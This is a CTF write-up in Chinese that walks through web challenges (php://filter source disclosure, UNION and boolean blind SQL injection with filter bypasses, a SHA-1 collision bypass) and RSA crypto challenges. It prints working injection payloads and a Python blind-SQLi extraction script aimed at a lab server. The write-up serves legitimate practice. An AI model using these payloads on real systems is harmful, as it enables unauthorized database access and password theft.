CUMTCTF-wp

Web

签到

提示GET一个1,那就 url+?1

提示post一个2

那就post一个

注意的是要2=任意字符才出现源码

审计代码，这里应该是利用file_get_contents()的漏洞直接读网页源码，并且提示flag在flag.php,直接php://filter/read=convert.base64-encode/resource=flag.php，读取base64源码之后解码即可

PD9waHANCgkkZmxhZz0iQ1VNVENURnsxNzkwNTViNC1lOGY1LTQyZDItYmZlNC0wMjdkMTVlOTQ2YjJ9Ijs=

babysql

首先判断是否存在注入username=admin&password=pw'

在后面加上单引号后出现报错提示，确认有注入点

但是继续测试 'or 1=1 #会出现

判断存在黑名单过滤。

接下来就是判断是将什么加入黑名单了，经过字典测试发现是空格，这里可以使用/**/绕过。

先测试有多少列，'union/**/select/**/1,2,3,4,5,6,7# 到第七的时候，页面报错。

'union/**/select/**/1,2,3,4,5,6,7,8# 到第八的时候显示下图，说明一共八列，并且第四列出现回显。

爆表

1
username=admin&password=pw'union/**/select/**/1,2,3,group_concat(TABLE_NAME),5,6,7,8/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database()#

爆列名

1
username=admin&password=pw'union/**/select/**/1,2,3,group_concat(COLUMN_NAME),5,6,7,8/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME='users'#

user_id,first_name,last_name,user,password,avatar,last_login,failed_login列名很多，选择password

爆flag

1
username=admin&password=pw'union/**/select/**/1,2,3,group_concat(password),5,6,7,8/**/from/**/users#

secret

扫描一下目录发现存在一个www.zip的文件，直接下载得到源码，下面就是一层一层的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
include_once('flag.php');
if(isset($_GET['param1']))
{
    $str1=$_GET['param1'];
    if(file_get_contents($str1)!=='Suvin_wants_a_girlfriend')
        die("Suvin doesn't like you");
    if(isset($_GET['param2'])){
        $str2=$_GET['param2'];
        if(!is_numeric($str2))
            die('Suvin prefers strings of Numbers');
        else if($str2<3600*24*30)
            die('Suvin says the num is too short');
        else if($str2>3600*24*31)
            die('Suvin says the num is too long');
        else {
            echo "Suvin says he's falling in love with you!"."</br>";
            sleep(intval($str2)); 
        }
        if (isset($_POST['param1']) && isset($_POST['param2'])) {
            $str1=$_POST['param1'];
            $str2=$_POST['param2'];
            if(strlen($str1)>1000)
                die("It's too long");
            if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2)))
                echo $flag;
            else 
                die("It's so similar to md5");
        }
    }
}
?>

首先get方式获取两个参数，param1要等于那个字符串，这里使用php的data伪协议

param2要在3600*24*30和3600*24*31之间，可以取2.6e6,这两个参数绕过后，就要绕过下面的post方式上传的两个值

对parame1的长度进行了限制，并且两参数的字符串形式不相等，sha1的值要相等，首先想到的是与md5函数一样，使用数组绕过，但是这题没那么简单，试了很多次都不行。网上搜了一下，发现了一个很类似的题目（sha1弱碰撞），其中也给出符合要求的字符串。

点这里

完整的payload：

?param1=data://text/plain;base64,U3V2aW5fd2FudHNfYV9naXJsZnJpZW5k&param2=0.26e7

1
2
POST:
param1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&param2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

还有一个很坑的地方，hackbar上传时没有作用，只能用bp抓包上传，抓包时注意先随便post一个参数，这样数据包才是post方式，然后贴上上面的两个参数值

babysql2

查询语句与第一个注入相同，但是这题不给回显，猜测是盲注，但是好像过滤了更多的关键字

在1的基础上额外过滤了 ‘ ， ascii ， mid ， substr ，关闭了报错回显和输出，但是查询成功或者失败 回显不同，因此可以bool注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
url = 'http://219.219.61.234:20004/'
password = ""
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!_@-}{']#将字母转换为ascii码
a = '0x5e'   # '\'的ascii码值
while(1):
    for j in string:
        if (hex(j)[2:]=='7b'):
            str='5c'+hex(j)[2:]  #将'{'转义，
        else:
            str=hex(j)[2:]

        time.sleep(0.1)

        payload  ="||/**/(select/**/password/**/from/**/users/**/limit/**/9,1)/**/regexp/**/binary/**/%s/**/#" % (a + str)
# 盲注的查询语句 regexp binary 是区分大小写的正则匹配
        data ={"username":"\\","password":payload}
        print(data)
        r = requests.post(url,data=data) #访问
        if "success" in r.text:
            #print(r.text)
            password+=chr(j)
            print(password)
            a+=str      		
            break
    if "wrong" in r.text:
        break
print(password)

Crypto

幼儿园的密码题

先转换为十进制后在线分解后直接上脚本

http://www.factordb.com/ 在线分解网址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import binascii
import sys
sys.setrecursionlimit(1000000)
def ByteToHex(bins):
  return ''.join(["%02X" % x for x in bins]).strip()
def n2s(num):
  t = hex(num)[2:-1]  # python
  if len(t) % 2 == 1:
    t = '0' + t
  \#print(t)
  return(binascii.a2b_hex(t).decode('latin1'))
def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)
def modinv(a, m):
  g, x, y = egcd(a, m)
  if g != 1:
    print('modular inverse does not exist')
    return 'null'
  else:
    return x % m
c = 40448992051548719008529549070468060415257485938698092782029814901918646701101
p = 328413456989577256301798468872388310877
q = 324350545929838254331191385863847627003
e = 65537
n = p * q
d = modinv(e, (p - 1) * (q - 1))
m = pow(c, d, n)

print (m)

数字转字符的脚本

1
2
3
4
5
6
7
8
import binascii
def n2s(num):
  t = hex(num)[2:-1]  # python
  if len(t) % 2 == 1:
    t = '0' + t
  \#print(t)
  return(binascii.a2b_hex(t).decode('latin1'))
print(n2s(a)) #a为上一个脚本计算出的数字

小学生的密码题

初中生的密码题

次题与幼儿园的类似，但是由于n过大，试了很多工具都无法分解。

仔细看题会发现这题的条件给的比较多,知道p-q

于是想到了(p+q)^2-(p-q)^2=4pq=4n，可以算出p+q,之后解出p,q

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
算p,q的脚本
# -*- coding = utf - 8 -*-
#@Time : 2020/9/24 21:55
#@Author : sunzy
#@File : su.py
import gmpy2
n = 848636981711330203910533960833570455347986345690792054016750216327432282027653737545502731789145875082064910377585125307004316982829408169391535303284775605083341204318559328114199464933306718077358184455649201353500348066849356092072732731595459583112558025395897556853371526959018489282157258240657926428930442774978485014507505784476690845099227369478496626645851076679385883251594929952035661085961598388544126711902983065521128172978259778754970695037278639045266353840536697343675638366506183715240679610094431082173271579344392346412454309134164388560354168918421706979410826758333952277436780339926907679282601846125790204266958409253210507301575619878252146515542791259716201124558373197816421305046774535734189567481599690381428371580696486054135486182509762880877363356256116336930055483318415453999460475103494980748558993889459677374574910745242385711928489669790527969454801533682757508950065697410745338257289717598141031203566419840587221470340637486034911686587695890702753064441476917845870069997649577034149354150224132983093069444866234262542625997399303875938451386377357399819123134018307163799151847997740448433278364764592560369020005024859119937315831252233159882960532854116233641920659786799836075681746397
p_sub_q = -3052070064538177039316204197190587772604720575847063904632214287646067455053231054471310322671549035272267675314294983896730810628462303176753740499536650509067032550999649642312183001467325569057721784454105443122299599368088210370664912463545058026638059476152117310712548608873763578306375998350729040793659145108802752313856984121444358377361896069243965149432626400631035486457915394853541729904150184876824863707417199152978276518660302136096681722191666079256269268999389217644896376343059852127338281844120448782198891495913902938174313438531667749920307775936355947018946620720978288405012504885451732231636
x = (4*n+p_sub_q*p_sub_q)

gmpy2.mpz(x)
#p_add_q = gmpy2.iroot(x, 2)
p_add_q = 58342634998122692674032973234620896020471694068399847453520741898744437026570834277134765347908181270295928479896424327076716339778780713227054670754114006755614107059128760453507315091935855120450792252194791430498450216725579392051311373554303029775579999984765816108626868293630358812164765119470747267373609041885833415440716244492402495944064255436477147868576748300862501670473856373437423326957856588782039066794320093570665076624361151742737113922376038763268964187459938086360191752544167623804772397201519904950840301831333585995087985697059748872751988663760065650743406672809203915981347563824970092886078
# print(p_add_q)
y=(p_sub_q+p_add_q)
z=(p_add_q-p_sub_q)

print(y>>1)
print(z>>1)

知道p,q后，此题的解法与幼儿园的解法相同

菜鸡只会这么多。。。